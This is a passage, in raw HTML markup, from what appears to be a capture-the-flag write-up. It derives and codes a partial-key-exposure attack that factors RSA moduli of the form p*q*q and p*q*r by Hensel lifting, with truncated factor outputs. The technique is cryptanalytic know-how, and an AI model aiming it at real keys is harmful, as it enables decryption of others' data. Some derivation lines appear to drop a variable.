e*d - 1 = k * phi&lt;br&gt;
e*d - 1 = k * ((p-1) * (q-1) * q)&lt;br&gt;
e*d - 1 = k * (p*q*q - q*q - p*q + q)&lt;br&gt;
e*d - 1 = k * (N - q*q - p*q + q)&lt;br&gt;
e*d*q - q = k * q * (N - q*q - p*q + q)&lt;br&gt;
e*d*q - k*q*(N - q*q + q) + k*N = q&lt;br&gt;
e*d*q - k*q*(N - q*q + q) + k*N = q (mod M)&lt;br&gt;
(k)*q&lt;sup&gt;3&lt;/sup&gt; - (k)*q&lt;sup&gt;2&lt;/sup&gt; + (d*e - k*N - 1)*q + k*N = 0 (mod M)  &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now all we&amp;#39;ve got to do is dump this equation into the kind of code we
used before, using the handy higher-order function
&lt;code&gt;roots_by_hensel_lift&lt;/code&gt; that we wrote earlier:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-py&quot; data-lang=&quot;py&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;factor_pqq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;partial_d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1667&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;A&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;B&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;C&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;partial_d&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;D&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;A&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;B&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;C&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;D&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;solns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;roots_by_hensel_lift&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1050&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possible_ans&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possible_ans&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possible_ans&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;n4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;q4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;factor_pqq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nerf_ds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;q4&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;q4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;q4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;q4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;p4 =&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;...&amp;#39;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;q4 =&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;...&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;p4 = 220432465124408995064591975926...
q4 = 267307309343866797026967908679...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This too takes a little while to compute (in the order of about a
minute), but soon we know the factorization of &lt;code&gt;n4&lt;/code&gt; too.&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;Now all that&amp;#39;s left is for us to do the same for &lt;code&gt;n2&lt;/code&gt; and &lt;code&gt;n3&lt;/code&gt;. Recall
that these are of the form &lt;code&gt;p * q * r&lt;/code&gt;, but we &lt;em&gt;know&lt;/em&gt; &lt;code&gt;r&lt;/code&gt; due to the shared
&lt;code&gt;r&lt;/code&gt; that we computed earlier.&lt;/p&gt;

&lt;p&gt;Let&amp;#39;s just re-derive a similar attack as before. We reduce the final
equation down to a quadratic equation in &lt;code&gt;p&lt;/code&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;e*d = 1 (mod phi)&lt;br&gt;
e*d - 1 = k * phi&lt;br&gt;
e*d - 1 = k * ((p-1) * (q-1) * (r-1))&lt;br&gt;
e*d - 1 = k * (p*q*r - p*q - p*r - q*r + p + q + r - 1)&lt;br&gt;
e*d - 1 = k * (N - p*q - p*r - q*r + p + q + r - 1)&lt;br&gt;
e*d*p*r - p*r = k*p*r*(N - p*q - p*r - q*r + p + q + r - 1)&lt;br&gt;
(k*r*r - k*r)*p&lt;sup&gt;2&lt;/sup&gt; + (k*N - r + d*e*r + k*r - k*N*r - k*r*r) + (k*N*r - k*N) = 0&lt;br&gt;
(k*r*r - k*r)*p&lt;sup&gt;2&lt;/sup&gt; + (k*N - r + d*e*r + k*r - k*N*r - k*r*r) + (k*N*r - k*N) = 0 (mod M)  &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Since we know &lt;code&gt;r&lt;/code&gt; it is ok to keep around. Let&amp;#39;s feed this into similar
code as before, again reusing our handy &lt;code&gt;roots_by_hensel_lift&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Recall that we don&amp;#39;t know the order for which one is &lt;code&gt;n2&lt;/code&gt; and which one
is &lt;code&gt;n3&lt;/code&gt;. Let&amp;#39;s just stick to one order and fix it later if it turns out
to be an issue.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-py&quot; data-lang=&quot;py&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;factor_pqr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;partial_d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1667&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;A&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;B&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;partial_d&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;C&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;A&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;B&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;C&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;solns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;roots_by_hensel_lift&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1050&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possible_ans&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;solns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possible_ans&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;possible_ans&lt;/span&gt;


&lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;factor_pqr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nerf_ds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;q2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;n3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;factor_pqr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nerf_ds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;q3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;p2 =&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;...&amp;#39;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;q2 =&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;...&amp;#39;&lt;/span&gt;
